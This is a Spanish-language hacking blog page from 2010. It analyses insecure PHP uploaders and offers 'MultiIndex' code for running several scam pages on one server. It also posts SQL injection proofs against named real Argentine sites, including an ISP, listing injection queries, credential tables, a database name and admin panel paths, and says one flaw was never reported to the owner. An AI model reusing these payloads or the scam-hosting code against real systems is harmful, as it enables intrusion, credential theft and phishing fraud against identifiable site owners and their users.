Metal



Blogroll: 8

[x] Agregar a rash

darkavenger darkavenger
xxch3rryxx xxch3rryxx
ponymagic ponymagic
em3trix em3trix
rbot rbot
hielasangre hielasangre
komtec1 komtec1
cereal cereal

Perfil de rash

[x]Nick: rash
Rango: Amateur
País: ar
Visitas: 10567
Votos: 35
En Blogrolls: 12
Status: PM

Patrocinadores:


Anuncia aquí

[x] Analizando Uploaders en php

Publicado el 23/02/2010 12:02:00 en Programación Web. Total de votos: 4  Votar

Vamos a analizar dos ejemplos de uplaoders en php que andan por la net.
Uno simple, y uno aparentemente seguro ( Con restricciones de formato de archivos )

Primero veamos el primero:

<?php
$uploaddir = 'files/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo "<p>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  echo "File is valid, and was successfully uploaded.\n"; 
} else {
   echo "Upload failed";
}
echo "</p>";
echo '<pre>';
echo 'Here is some more debugging info:'; //Muestra un debug del archivo en cuestion
print_r($_FILES);
print "</pre>";
?> 


Con su respectivo form html:
<html>
<head></head>
<body>
<form enctype='multipart/form-data' action='uploader.php' method='POST'>
    <input type='hidden' name='MAX_FILE_SIZE' value='512000' /><br>
    Send this file: <input name='userfile' type='file' /><br>
    <input type='submit' value='Send File' />
</form>
</body>
</html>


Vamos a ponerlo a prueba:



Intentamos subir un archivo php, potencialmente inseguro para un servidor web.
Un uploader seguro no deberia permitir estos archivos. Veamos que sucede.



A diferencia de lo que pensabamos, el uploader permitio la subida de este archivo.



ESTE UPLOADER REPRESENTA UN GRAN PROBLEMA DE SEGURIDAD.


Ahora analizemos el otro uploader, el aparentemente seguro.

<?php
//?heck that we have a file
if((!empty($_FILES["uploaded_file"])) && ($_FILES['uploaded_file']['error'] == 0)) {
  //Check if the file is JPEG image and it's size is less than 350Kb
  $filename = basename($_FILES['uploaded_file']['name']);
  $ext = substr($filename, strrpos($filename, '.') + 1);
  if (($ext == "jpg") && ($_FILES["uploaded_file"]["type"] == "image/jpeg") && 
    ($_FILES["uploaded_file"]["size"] < 350000)) {
    //Determine the path to which we want to save this file
      $newname = dirname(__FILE__).'/upload/'.$filename;
      //Check if the file with the same name is already exists on the server
      if (!file_exists($newname)) {
        //Attempt to move the uploaded file to it's new place
        if ((move_uploaded_file($_FILES['uploaded_file']['tmp_name'],$newname))) {
           echo "It's done! The file has been saved as: ".$newname;
        } else {
           echo "Error: A problem occurred during file upload!";
        }
      } else {
         echo &q...


Continúa aquí...


Comentarios: 6 | Leer comentarios

[Script]ArgentinaSecurity by Em3trix

Publicado el 16/02/2010 12:02:00 en Programación Web.

Un buen trabajo. Sin rencores, supongo.




Download Link:
http://www.gigasize.com/get.php?d=sdq5pwm6srb

Comentarios: 6 | Leer comentarios

[x] [Code]MultiIndex

Publicado el 19/01/2010 12:01:00 en Programación General. Total de votos: 1  Votar

Bueno, este code sirve para cuando tienen que montar un scam en un dedicado y no quieren sacar el index original. Tan solo tienen que modificar el code y adosarlo al index original.

El Multiindex sirve para tener mas de un scam por dedicado, se encarga de redirigir al scam correcto segun sea solicitado.

<html>
 <head></head>
<body>
<!--- Multindex By Rash - DiosDeLaRed 2010 --->
<script type="text/javascript">
  var keyStr = "ABCDEFGHIJKLMNOP" +
               "QRSTUVWXYZabcdef" +
               "ghijklmnopqrstuv" +
               "wxyz0123456789+/" +
               "=";
 
  function encode64(input) {
     input = escape(input);
     var output = "";
     var chr1, chr2, chr3 = "";
     var enc1, enc2, enc3, enc4 = "";
     var i = 0;
 
     do {
        chr1 = input.charCodeAt(i++);
        chr2 = input.charCodeAt(i++);
        chr3 = input.charCodeAt(i++);
 
        enc1 = chr1 >> 2;
        enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
        enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
        enc4 = chr3 & 63;
 
        if (isNaN(chr2)) {
           enc3 = enc4 = 64;
        } else if (isNaN(chr3)) {
           enc4 = 64;
        }
 
        output = output +
           keyStr.charAt(enc1) +
           keyStr.charAt(enc2) +
           keyStr.charAt(enc3) +
           keyStr.charAt(enc4);
        chr1 = chr2 = chr3 = "";
        enc1 = enc2 = enc3 = enc4 = "";
     } while (i < input.length);
 
     return output;
  }
 
  function decode64(input) {
     var output = "";
     var chr1, chr2, chr3 = "";
     var enc1, enc2, enc3, enc4 = "";
     var i = 0;
 
     // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
     var base64test = /[^A-Za-z0-9\+\/\=]/g;
     if (base64test.exec(input)) {
        alert("There were invalid base64 characters in the input text.\n" +
              "Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\n" +
              "Expect errors in decoding.");
     }
     input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
 
     do {
        enc1 = keyStr.indexOf(input.charAt(i++));
        enc2 = keyStr.indexOf(input.charAt(i++));
        enc3 = keyStr.indexOf(input.charAt(i++));
        enc4 = keyStr.indexOf(input.charAt(i++));
 
        chr1 = (enc1 << 2) | (enc2 >> 4);
        chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
        chr3 = ((enc3 & 3) << 6) | enc4;
 
        output = output + String.fromCharCode(chr1);
 
        if (enc3 != 64) {
           output = output + String.fromCharCode(chr2);
        }
        if (enc4 != 64) {
           output = output + String.fromCharCode(chr3);
        }
 
        chr1 = chr2 = chr3 =...


Continúa aquí...


Comentarios: 1 | Leer comentarios

[x] [ADV] Bocetar.com.ar SQLi

Publicado el 17/12/2009 12:12:00 en Bug Report. Total de votos: 1  Votar

[ADV] Bocetear.com.ar SQLi



Dork: "Bocetar.com.ar"

Script: contenido_noticia.php

Tabla: usuarios
Columna1: id
Columna2: usuario
Columna3: pass

PoC:
http://web.com/contenido_noticia.php?id=9+AND+1=0+UNION+SELECT+0,1--
http://web.com/admin OR http://web.com/administrador OR variables.



Comentarios: 5 | Leer comentarios

[BSQLi] speedy.com.ar - ISP

Publicado el 02/12/2009 12:12:00 en Bug Report.


Bien man sos un kaker de verdad, me pregunto, ¿podrias haber descubierto el bug solo?



Blind SQL - speedy.com.ar



Aca un poco de lo que saque:

Web: http://www.speedy.com.ar/
Script: soporte.php
Variable: ?idcontenido=140&root=132
Tabla: usuarios
Columnas: username, password, email
Username: backoffice
Password: <?>

mysql.user user: acido & enda
mysql.user pass: <?>
mysql.user host: <?>
db: TA_speedy_cms

Panel: /backoffice/


inyecciones:
132 AND (SELECT Count(*) FROM usuarios) existe
132 AND (SELECT Count(*) FROM admin) no existe
AND (SELECT Count(*) FROM usuarios) = 8

AND(SELECT Count(username) FROM usuarios)
AND(SELECT Count(password) FROM usuarios)
AND(SELECT Count(email) FROM usuarios)
AND(SELECT Count(id) FROM usuarios)
AND (SELECT length(username) FROM usuarios where id=1) = 10
AND (SELECT length(password) FROM usuarios where id=1) = 10

... etc lo dejo para que vean como fui sacando nomas ^^


El bug no lo reporte todavia por que no encontre donde, si alguien quiere ayudar joya :P
Si te gusto dejame un voto ^^

Dado que este post esta un poco "quemado por algunos comentarios, lo pongo en la seccion correcta y lo desindexo, el proximo post es el tuto de blindSQLi



Comentarios: 35 | Leer comentarios